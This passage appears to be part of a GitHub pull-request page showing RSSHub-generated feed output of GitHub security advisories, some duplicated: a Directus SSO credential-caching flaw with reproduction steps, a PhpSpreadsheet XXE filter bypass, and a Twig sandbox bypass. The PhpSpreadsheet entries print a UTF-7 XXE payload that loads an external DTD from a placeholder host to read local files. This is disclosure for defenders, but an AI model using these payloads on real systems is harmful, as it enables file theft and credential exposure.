      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[@directus/api] Session is cached for OpenID and OAuth2 if `redirect` is not used</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include &lt;code&gt;redirect&lt;/code&gt; query string.&lt;/p&gt;
        &lt;p&gt;For example:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Project is configured with OpenID or OAuth2&lt;/li&gt;
        &lt;li&gt;Project is configured with cache enabled&lt;/li&gt;
        &lt;li&gt;User tries to login via SSO link, but without &lt;code&gt;redirect&lt;/code&gt; query string&lt;/li&gt;
        &lt;li&gt;After successful login, credentials are cached&lt;/li&gt;
        &lt;li&gt;If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;The SSO link is something like &lt;code&gt;https://directus.example.com/auth/login/openid/callback&lt;/code&gt;, where &lt;code&gt;openid&lt;/code&gt; is the name of the OpenID provider configured in Directus&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;This happens because on that endpoint for both OpenId and Oauth2 Directus is using the &lt;code&gt;respond&lt;/code&gt; middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
        For OpenID, this can be seen here:
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;
        And for OAuth2 can be seen here
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Create a new Directus project&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_ENABLED&lt;/code&gt; to true&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_STORE&lt;/code&gt; to &lt;code&gt;redis&lt;/code&gt; for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;REDIS&lt;/code&gt; with redis string or redis host, port, user, etc.&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;AUTH_PROVIDERS&lt;/code&gt; to &lt;code&gt;openid&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;PUBLIC_URL&lt;/code&gt; to the the main URL of your project . For example, &lt;code&gt;PUBLIC_URL: http://localhost:8055&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;AUTH_OPENID_CLIENT_ID&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_CLIENT_SECRET&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_ISSUER_URL&lt;/code&gt; with proper OpenID configurations&lt;/li&gt;
        &lt;li&gt;Be sure that on OpenID external app you have configured Redirect URI to &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Run Directus&lt;/li&gt;
        &lt;li&gt;Open the SSO link like &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Do the authentication on the OpenID external webpage&lt;/li&gt;
        &lt;li&gt;Verify that it you got redirected to a page with a JSON including &lt;code&gt;access_token&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;Be sure all anonymous mode windows are closed&lt;/li&gt;
        &lt;li&gt;Open an anonymous window and go to the SSO Link &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt; and see you have the same credentials, even though you don&#39;t have any session because you are in anonymous mode&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All projects using OpenID or OAuth 2, that does not include &lt;code&gt;redirect&lt;/code&gt; query string on loggin in users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&quot;&gt;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&quot;&gt;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-cff8-x7jv-4fm8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-cff8-x7jv-4fm8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[@directus/api] Session is cached for OpenID and OAuth2 if `redirect` is not used</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include &lt;code&gt;redirect&lt;/code&gt; query string.&lt;/p&gt;
        &lt;p&gt;For example:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Project is configured with OpenID or OAuth2&lt;/li&gt;
        &lt;li&gt;Project is configured with cache enabled&lt;/li&gt;
        &lt;li&gt;User tries to login via SSO link, but without &lt;code&gt;redirect&lt;/code&gt; query string&lt;/li&gt;
        &lt;li&gt;After successful login, credentials are cached&lt;/li&gt;
        &lt;li&gt;If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;The SSO link is something like &lt;code&gt;https://directus.example.com/auth/login/openid/callback&lt;/code&gt;, where &lt;code&gt;openid&lt;/code&gt; is the name of the OpenID provider configured in Directus&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;This happens because on that endpoint for both OpenId and Oauth2 Directus is using the &lt;code&gt;respond&lt;/code&gt; middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
        For OpenID, this can be seen here:
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;
        And for OAuth2 can be seen here
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Create a new Directus project&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_ENABLED&lt;/code&gt; to true&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_STORE&lt;/code&gt; to &lt;code&gt;redis&lt;/code&gt; for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;REDIS&lt;/code&gt; with redis string or redis host, port, user, etc.&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;AUTH_PROVIDERS&lt;/code&gt; to &lt;code&gt;openid&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;PUBLIC_URL&lt;/code&gt; to the the main URL of your project . For example, &lt;code&gt;PUBLIC_URL: http://localhost:8055&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;AUTH_OPENID_CLIENT_ID&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_CLIENT_SECRET&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_ISSUER_URL&lt;/code&gt; with proper OpenID configurations&lt;/li&gt;
        &lt;li&gt;Be sure that on OpenID external app you have configured Redirect URI to &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Run Directus&lt;/li&gt;
        &lt;li&gt;Open the SSO link like &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Do the authentication on the OpenID external webpage&lt;/li&gt;
        &lt;li&gt;Verify that it you got redirected to a page with a JSON including &lt;code&gt;access_token&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;Be sure all anonymous mode windows are closed&lt;/li&gt;
        &lt;li&gt;Open an anonymous window and go to the SSO Link &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt; and see you have the same credentials, even though you don&#39;t have any session because you are in anonymous mode&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All projects using OpenID or OAuth 2, that does not include &lt;code&gt;redirect&lt;/code&gt; query string on loggin in users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&quot;&gt;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&quot;&gt;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-cff8-x7jv-4fm8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-cff8-x7jv-4fm8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[directus] Session is cached for OpenID and OAuth2 if `redirect` is not used</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include &lt;code&gt;redirect&lt;/code&gt; query string.&lt;/p&gt;
        &lt;p&gt;For example:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Project is configured with OpenID or OAuth2&lt;/li&gt;
        &lt;li&gt;Project is configured with cache enabled&lt;/li&gt;
        &lt;li&gt;User tries to login via SSO link, but without &lt;code&gt;redirect&lt;/code&gt; query string&lt;/li&gt;
        &lt;li&gt;After successful login, credentials are cached&lt;/li&gt;
        &lt;li&gt;If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;The SSO link is something like &lt;code&gt;https://directus.example.com/auth/login/openid/callback&lt;/code&gt;, where &lt;code&gt;openid&lt;/code&gt; is the name of the OpenID provider configured in Directus&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;This happens because on that endpoint for both OpenId and Oauth2 Directus is using the &lt;code&gt;respond&lt;/code&gt; middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
        For OpenID, this can be seen here:
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;
        And for OAuth2 can be seen here
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Create a new Directus project&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_ENABLED&lt;/code&gt; to true&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_STORE&lt;/code&gt; to &lt;code&gt;redis&lt;/code&gt; for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;REDIS&lt;/code&gt; with redis string or redis host, port, user, etc.&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;AUTH_PROVIDERS&lt;/code&gt; to &lt;code&gt;openid&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;PUBLIC_URL&lt;/code&gt; to the the main URL of your project . For example, &lt;code&gt;PUBLIC_URL: http://localhost:8055&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;AUTH_OPENID_CLIENT_ID&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_CLIENT_SECRET&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_ISSUER_URL&lt;/code&gt; with proper OpenID configurations&lt;/li&gt;
        &lt;li&gt;Be sure that on OpenID external app you have configured Redirect URI to &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Run Directus&lt;/li&gt;
        &lt;li&gt;Open the SSO link like &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Do the authentication on the OpenID external webpage&lt;/li&gt;
        &lt;li&gt;Verify that it you got redirected to a page with a JSON including &lt;code&gt;access_token&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;Be sure all anonymous mode windows are closed&lt;/li&gt;
        &lt;li&gt;Open an anonymous window and go to the SSO Link &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt; and see you have the same credentials, even though you don&#39;t have any session because you are in anonymous mode&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All projects using OpenID or OAuth 2, that does not include &lt;code&gt;redirect&lt;/code&gt; query string on loggin in users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&quot;&gt;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&quot;&gt;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-cff8

...

@github-actions GitHub Actions
Copy link
Contributor

Successfully generated as following:

http://localhost:1200/github-advisor/data - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - composer</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - composer - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:32:36 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[twig/twig] Twig has a possible sandbox bypass</title>
      <description>&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
        &lt;p&gt;Under some circumstances, the sandbox security checks are not run which allows user-contributed templates to bypass the sandbox restrictions.&lt;/p&gt;
        &lt;p&gt;The security issue happens when all these conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The sandbox is disabled globally;&lt;/li&gt;
        &lt;li&gt;The sandbox is enabled via a sandboxed &lt;code&gt;include()&lt;/code&gt; function which references a template name (like &lt;code&gt;included.twig&lt;/code&gt;) and not a &lt;code&gt;Template&lt;/code&gt; or &lt;code&gt;TemplateWrapper&lt;/code&gt; instance;&lt;/li&gt;
        &lt;li&gt;The included template has been loaded before the &lt;code&gt;include()&lt;/code&gt; call but in a non-sandbox context (possible as the sandbox has been globally disabled).&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;resolution&quot;&gt;Resolution&lt;/h3&gt;
        &lt;p&gt;The patch ensures that the sandbox security checks are always run at runtime.&lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
